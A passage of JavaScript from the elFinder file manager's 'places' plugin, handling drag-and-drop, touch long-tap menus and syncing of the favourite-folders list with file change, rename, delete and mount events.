					accept     : '.elfinder-cwd-file-wrapper,.elfinder-tree-dir,.elfinder-cwd-file',
					hoverClass : fm.res('class', 'adroppable'),
					classes    : { // Deprecated hoverClass jQueryUI>=1.12.0
						'ui-droppable-hover': fm.res('class', 'adroppable')
					},
					over       : function(e, ui) {
						var helper = ui.helper,
							dir    = jQuery.grep(helper.data('files'), function(h) { return (fm.file(h).mime === 'directory' && !dirs[h])? true : false; });
						e.stopPropagation();
						helper.data('dropover', helper.data('dropover') + 1);
						if (fm.insideWorkzone(e.pageX, e.pageY)) {
							if (dir.length > 0) {
								helper.addClass('elfinder-drag-helper-plus');
								fm.trigger('unlockfiles', {files : helper.data('files'), helper: helper});
							} else {
								jQuery(this).removeClass(dropover);
							}
						}
					},
					out : function(e, ui) {
						var helper = ui.helper;
						e.stopPropagation();
						helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus').data('dropover', Math.max(helper.data('dropover') - 1, 0));
						jQuery(this).removeData('dropover')
						       .removeClass(dropover);
					},
					drop       : function(e, ui) {
						var helper  = ui.helper,
							resolve = true;
						
						jQuery.each(helper.data('files'), function(i, hash) {
							var dir = fm.file(hash);
							
							if (dir && dir.mime == 'directory' && !dirs[dir.hash]) {
								add(dir);
							} else {
								resolve = false;
							}
						});
						save();
						resolve && helper.hide();
					}
				})
				// for touch device
				.on('touchstart', '.'+navdir+':not(.'+clroot+')', function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					var hash = jQuery(this).attr('id').substr(6),
					p = jQuery(this)
					.addClass(hover)
					.data('longtap', null)
					.data('tmlongtap', setTimeout(function(){
						// long tap
						p.data('longtap', true);
						fm.trigger('contextmenu', {
							raw : [{
								label    : fm.i18n('rmFromPlaces'),
								icon     : 'rm',
								callback : function() { remove(hash); save(); }
							}],
							'x'       : e.originalEvent.touches[0].pageX,
							'y'       : e.originalEvent.touches[0].pageY
						});
					}, 500));
				})
				.on('touchmove touchend', '.'+navdir+':not(.'+clroot+')', function(e) {
					clearTimeout(jQuery(this).data('tmlongtap'));
					if (e.type == 'touchmove') {
						jQuery(this).removeClass(hover);
					}
				});

		if (jQuery.fn.sortable) {
			subtree.addClass('touch-punch')
			.sortable({
				appendTo : fm.getUI(),
				revert   : false,
				helper   : function(e) {
					var dir = jQuery(e.target).parent();
						
					dir.children().removeClass('ui-state-hover');
					
					return jQuery('<div class="ui-widget elfinder-place-drag elfinder-'+fm.direction+'"></div>')
							.append(jQuery('<div class="elfinder-navbar"></div>').show().append(dir.clone()));

				},
				stop     : function(e, ui) {
					var target = jQuery(ui.item[0]),
						top    = places.offset().top,
						left   = places.offset().left,
						width  = places.width(),
						height = places.height(),
						x      = e.pageX,
						y      = e.pageY;
					
					if (!(x > left && x < left+width && y > top && y < y+height)) {
						remove(id2hash(target.children(':first').attr('id')));
						save();
					}
				},
				update   : function(e, ui) {
					save();
				}
			});
		}

		// "on regist" for command exec
		jQuery(this).on('regist', function(e, files){
			var added = false;
			jQuery.each(files, function(i, dir) {
				if (dir && dir.mime == 'directory' && !dirs[dir.hash]) {
					if (add(dir)) {
						added = true;
					}
				}
			});
			added && save();
		});
	

		// on fm load - show places and load files from backend
		fm.one('load', function() {
			var dat, hashes;
			
			if (fm.oldAPI) {
				return;
			}
			
			places.show().parent().show();

			init();

			fm.change(function(e) {
				var changed = false;
				jQuery.each(e.data.changed, function(i, file) {
					if (dirs[file.hash]) {
						if (file.mime !== 'directory') {
							if (remove(file.hash)) {
								changed = true;
							}
						} else {
							if (update(file)) {
								changed = true;
							}
						}
					}
				});
				changed && save();
			})
			.bind('rename', function(e) {
				var changed = false;
				if (e.data.removed) {
					jQuery.each(e.data.removed, function(i, hash) {
						if (e.data.added[i]) {
							if (update(e.data.added[i], hash)) {
								changed = true;
							}
						}
					});
				}
				changed && save();
			})
			.bind('rm paste', function(e) {
				var names = [],
					changed = false;
				if (e.data.removed) {
					jQuery.each(e.data.removed, function(i, hash) {
						var name = remove(hash);
						name && names.push(name);
					});
				}
				if (names.length) {
					changed = true;
				}
				if (e.data.added && names.length) {
					jQuery.each(e.data.added, function(i, file) {
						if (jQuery.inArray(file.name, names) !== 1) {
							file.mime == 'directory' && add(file);
						}
					});
				}
				changed && save();
			})
			.bind('sync netmount', function() {
				var ev = this,
					opSuffix = opts.suffix? opts.suffix : '',
					hashes;
				
				if (ev.type === 'sync') {
					// check is change of opts.suffix
					if (suffix !== opSuffix) {
						suffix = opSuffix;
						clear();
						init();
						return;
					}
				}
				
				hashes = Object.keys(dirs);
				if (hashes.length) {
					root.prepend(spinner);

					fm.request({
						data : {cmd : 'info', targets : hashes},
						preventDefault : true
					})
					.done(function(data) {
						var exists  = {},
							updated = false,
							cwd     = fm.cwd().hash;
						jQuery.each(data.files || [], function(i, file) {
							var hash = file.hash;
							exists[hash] = file;
							if (!fm.files().hasOwnProperty(file.hash)) {
								// update cache
								fm.updateCache({tree: [file]});
							}
						});
						jQuery.each(dirs, function(h, f) {
							if (Boolean(f.notfound) === Boolean(exists[h])) {
								if ((f.phash === cwd && ev.type !== 'netmount') || (exists[h] && exists[h].mime !== 'directory')) {
									if (remove(h)) {
										updated = true;
									}
								} else {
									if (update(exists[h] || Object.assign({notfound: true}, f))) {
										updated = true;
									}
								}
							} else if (exists[h] && exists[h].phash != cwd) {
								// update permission of except cwd
								update(exists[h]);
							}
						});
						updated && save();
					})
					.always(function() {
						spinner.remove();
					});
				}
			});
			
		});
		
	});
};